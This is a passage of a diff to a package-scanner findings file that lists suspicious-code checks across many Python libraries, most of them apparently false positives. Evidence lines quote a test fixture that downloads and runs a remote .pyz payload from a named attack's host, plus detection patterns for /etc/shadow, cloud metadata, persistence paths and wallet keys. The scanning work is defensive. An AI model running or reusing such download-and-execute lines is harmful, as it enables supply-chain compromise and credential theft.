"L2473: import socket" }, { "package": "transformers", "file": "transformers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)" }, { "package": "triton", "file": "triton/tools/build_extern.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", - "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", - "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" - }, - { - "package": "trl", - "file": "trl/extras/vllm_client.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", - "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" + "evidence": "L152: while True:" }, { "package": "trl", "file": "trl/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", - "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", - "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\"," }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", - "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", - "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\"," }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", - "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", - "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", - "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" + "evidence": "L54: \"/tmp/transformers.pyz\"," }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", - "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\"," }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", - "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" + "evidence": "L155: \"/tmp/transformers.pyz\"," }, { "package": "unsloth-zoo", "file": "tests/test_convert_hf_to_gguf_patcher.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", - "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_mlx_save_export_regressions.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37", - "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81" + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)" }, { "package": "unsloth-zoo", "file": "tests/test_quantize_gguf_q2_k_l.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad", - "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_transformers.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", - "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/device_type.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", - "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/llama_cpp.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", - "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/llama_cpp.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", - "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" - }, - { - "package": "urllib3", - "file": "urllib3/response.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", - "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" - }, - { - "package": "urllib3", - "file": "urllib3/util/ssl_.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", - "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" - }, - { - "package": "attrs", - "file": "attr/_make.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", - "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" - }, - { - "package": "beartype", - "file": "beartype/_util/func/utilfuncmake.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", - "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" - }, - { - "package": "botocore", - "file": "botocore/vendored/six.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", - "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" - }, - { - "package": "cffi", - "file": "cffi/_cffi_gen_src.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", - "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" - }, - { - "package": "cffi", - "file": "cffi/setuptools_ext.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", - "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" - }, - { - "package": "ddgs", - "file": "ddgs/dht/libp2p_client.py", - "check": "DNS exfiltration / tunneling patterns", - "severity": "HIGH", - "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", - "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" - }, - { - "package": "dill", - "file": "dill/_dill.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", - "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" - }, - { - "package": "dill", - "file": "dill/source.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", - "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" - }, - { - "package": "dnspython", - "file": "dns/query.py", - "check": "DNS exfiltration / tunneling patterns", - "severity": "HIGH", - "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", - "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" - }, - { - "package": "fastmcp-slim", - "file": "fastmcp/server/auth/providers/jwt.py", - "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", - "severity": "HIGH", - "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", - "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" - }, - { - "package": "ipython", - "file": "IPython/core/debugger.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", - "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" - }, - { - "package": "ipython", - "file": "IPython/core/debugger_backport.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", - "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" - }, - { - "package": "ipython", - "file": "IPython/core/magics/execution.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", - "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" - }, - { - "package": "ipython", - "file": "IPython/core/magics/execution.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", - "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" - }, - { - "package": "jinja2", - "file": "jinja2/environment.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", - "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" - }, - { - "package": "matplotlib", - "file": "matplotlib/sphinxext/plot_directive.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", - "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", - "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" - }, - { - "package": "networkx", - "file": "networkx/utils/decorators.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", - "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" - }, - { - "package": "numba", - "file": "numba/np/ufunc/array_exprs.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", - "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" - }, - { - "package": "numba", - "file": "numba/tests/support.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)", - "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" - }, - { - "package": "numba", - "file": "numba/tests/test_firstlinefinder.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", - "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" - }, - { - "package": "numba", - "file": "numba/tests/test_funcdesc.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", - "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" - }, - { - "package": "numba", - "file": "numba/tests/test_import.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", - "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" - }, - { - "package": "numba", - "file": "numba/tests/test_np_functions.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)", - "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", - "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", - "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", - "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" - }, - { - "package": "numpy", - "file": "numpy/tests/test_public_api.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", - "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" - }, - { - "package": "pillow", - "file": "PIL/Image.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:", - "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" - }, - { - "package": "protobuf", - "file": "protobuf-3.19.6-nspkg.pth", - "check": "Unusually large executable .pth (539 bytes)", - "severity": "HIGH", - "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", - 